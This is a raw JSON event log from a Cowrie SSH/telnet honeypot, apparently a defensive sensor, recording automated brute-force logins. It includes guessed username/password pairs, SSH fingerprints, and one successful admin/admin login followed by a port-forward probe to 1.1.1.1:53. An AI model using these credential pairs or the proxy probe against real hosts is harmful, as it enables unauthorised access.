{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.004615Z","src_ip":"103.98.149.87","session":"beae28d6683c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":51638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e33495cfb324","protocol":"ssh","message":"New connection: 181.218.9.86:51638 (159.203.135.109:22) [session: e33495cfb324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.146439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.151149Z","src_ip":"181.218.9.86","session":"e33495cfb324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.304853Z","src_ip":"181.218.9.86","session":"e33495cfb324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.688606Z","src_ip":"103.98.149.87","session":"beae28d6683c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft123","message":"login attempt [root/minecraft123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:30.962859Z","src_ip":"181.218.9.86","session":"e33495cfb324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:31.959028Z","src_ip":"103.98.149.87","session":"beae28d6683c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:39:32.569905Z","src_ip":"181.218.9.86","session":"e33495cfb324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":41196,"dst_ip":"159.203.135.109","dst_port":22,"session":"36bc71e35c7e","protocol":"ssh","message":"New connection: 191.7.26.153:41196 (159.203.135.109:22) [session: 36bc71e35c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:08.223069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:08.227814Z","src_ip":"191.7.26.153","session":"36bc71e35c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:08.354081Z","src_ip":"191.7.26.153","session":"36bc71e35c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcturus","password":"123456","message":"login attempt [arcturus/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:09.326445Z","src_ip":"191.7.26.153","session":"36bc71e35c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:11.360381Z","src_ip":"191.7.26.153","session":"36bc71e35c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":40124,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa508981bcbd","protocol":"telnet","message":"New connection: 143.198.154.150:40124 (159.203.135.109:23) [session: fa508981bcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:13.492867Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":55194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac0d83857a12","protocol":"ssh","message":"New connection: 221.163.5.228:55194 (159.203.135.109:22) [session: ac0d83857a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:13.662314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:13.666351Z","src_ip":"221.163.5.228","session":"ac0d83857a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:13.872798Z","src_ip":"221.163.5.228","session":"ac0d83857a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123456","message":"login attempt [root/linux123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:14.727153Z","src_ip":"221.163.5.228","session":"ac0d83857a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:15.934697Z","src_ip":"221.163.5.228","session":"ac0d83857a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6654717922210693,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:17.158162Z","src_ip":"143.198.154.150","session":"fa508981bcbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59042,"dst_ip":"159.203.135.109","dst_port":23,"session":"2925aa955bbe","protocol":"telnet","message":"New connection: 107.6.151.170:59042 (159.203.135.109:23) [session: 2925aa955bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:21.613225Z"}
{"eventid":"cowrie.session.closed","duration":62.70889759063721,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:26.581539Z","src_ip":"170.64.224.25","session":"51c51f2e398d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55788,"dst_ip":"159.203.135.109","dst_port":23,"session":"42185e5668cd","protocol":"telnet","message":"New connection: 107.6.151.170:55788 (159.203.135.109:23) [session: 42185e5668cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:26.641709Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":22376,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d5a9ce1d7d","protocol":"ssh","message":"New connection: 176.53.159.196:22376 (159.203.135.109:22) [session: 53d5a9ce1d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:38.719585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:38.723777Z","src_ip":"176.53.159.196","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:38.829928Z","src_ip":"176.53.159.196","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:39.132332Z","src_ip":"176.53.159.196","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:39.242375Z","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:39.343966Z","src_ip":"176.53.159.196","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:39.470894Z","src_ip":"176.53.159.196","session":"53d5a9ce1d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.13511538505554,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:42.953114Z","src_ip":"170.64.224.25","session":"49b2c139f8fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02723503112793,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:40:58.668814Z","src_ip":"107.6.151.170","session":"42185e5668cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55094,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f2d095f7d36","protocol":"telnet","message":"New connection: 170.64.224.25:55094 (159.203.135.109:23) [session: 6f2d095f7d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:19.031026Z"}
{"eventid":"cowrie.session.closed","duration":57.616581439971924,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:19.229669Z","src_ip":"107.6.151.170","session":"2925aa955bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4aa9c683a9","protocol":"telnet","message":"New connection: 170.64.224.25:55102 (159.203.135.109:23) [session: 5e4aa9c683a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:24.691402Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55106,"dst_ip":"159.203.135.109","dst_port":23,"session":"c81c6864d61d","protocol":"telnet","message":"New connection: 170.64.224.25:55106 (159.203.135.109:23) [session: c81c6864d61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:26.145679Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.246.122","src_port":36244,"dst_ip":"10.17.0.5","dst_port":22,"session":"346025cc274e","protocol":"ssh","message":"New connection: 62.210.246.122:36244 (10.17.0.5:22) [session: 346025cc274e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.270841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.273967Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.356065Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:95:8b:d8:9b:3c:f7:ce:99:7c:98:cf:48:37:13:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2GuxIYSPNpdQzGFSM4h1MLaGyXzCAEhiiXb43weKUGKYFNEQK9fr6WM1GGK02dU7tmUwMBt2KS13k0nCgofJHHCzgBxq7y7TkTISAtV3H9fz6n3m75gw5I+IdAdfYsil9Q5ZOXEWeXUqBqVvdwovJP7kJOx2KaTU3iGNIWzbGgImdov/ahucynaIyKPPHEfP3E30l75feRGtmWcc2Wvs2fScLoi2HD/pgKtOmkVWTql3cwEQqNjaIAgu04i+RSvoQJymeaN2vtfNF8k+ItczPE8j6AAvDRfLF+M7Ne7GGKH8X+jghIOH7lmn0TEjAuEDZMtkzPv345CNDNN1NbN6OQXs1/P9dnk3pGrEOBSqj+LWpd1ze09zwy2l3IV0XPiMkowXmoLJ1Hvcahc43Vu8mTuuBPVHXg4eaunhZUdB0C3jWKs7LSqzNuGsxCG9nwDRGcOHOzH08FpHslmFbz+UvyO134kaiFQG0rlFuqv0OZpxu3fWkj8il72RgyrcO8j8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:95:8b:d8:9b:3c:f7:ce:99:7c:98:cf:48:37:13:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.743172Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:95:8b:d8:9b:3c:f7:ce:99:7c:98:cf:48:37:13:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2GuxIYSPNpdQzGFSM4h1MLaGyXzCAEhiiXb43weKUGKYFNEQK9fr6WM1GGK02dU7tmUwMBt2KS13k0nCgofJHHCzgBxq7y7TkTISAtV3H9fz6n3m75gw5I+IdAdfYsil9Q5ZOXEWeXUqBqVvdwovJP7kJOx2KaTU3iGNIWzbGgImdov/ahucynaIyKPPHEfP3E30l75feRGtmWcc2Wvs2fScLoi2HD/pgKtOmkVWTql3cwEQqNjaIAgu04i+RSvoQJymeaN2vtfNF8k+ItczPE8j6AAvDRfLF+M7Ne7GGKH8X+jghIOH7lmn0TEjAuEDZMtkzPv345CNDNN1NbN6OQXs1/P9dnk3pGrEOBSqj+LWpd1ze09zwy2l3IV0XPiMkowXmoLJ1Hvcahc43Vu8mTuuBPVHXg4eaunhZUdB0C3jWKs7LSqzNuGsxCG9nwDRGcOHOzH08FpHslmFbz+UvyO134kaiFQG0rlFuqv0OZpxu3fWkj8il72RgyrcO8j8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.745857Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:2f:d0:e8:fe:ae:dd:cf:a7:30:d2:d2:b3:8b:3e:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9IouA2nj9ad8lAh5yQTicxPRP0S+NgUZeCLB+AbX5sJ3uM2UgcOMMjHg4wcjvpRrjczqcZYLtFvrp14k/goLmA24JDoYVbaVqmmFPMEUd2McYoQnBbVXktl+jLxaI9hhz0kPZSidyu1ZNZulzv1aUVRicNZV5GD0+PB+x8+KspeFmudeKmEtVnxhdbJyuLRZiupG3ibYe0JunGW9KySthpYykyXnxrg5MvRGycStOypNTjLNEZ0ASMx96vuB50XhgBPjQQpAGvzBBTjUkhEwwRK8friV5WbZy+RZaNKKtyZ/qlSLkjsMwphtiO5iaT1HtYChC0yf/tplrnIsJsLq/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:2f:d0:e8:fe:ae:dd:cf:a7:30:d2:d2:b3:8b:3e:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:41:28.839300Z","src_ip":"62.210.246.122","session":"346025cc274e","protocol":"ssh"}
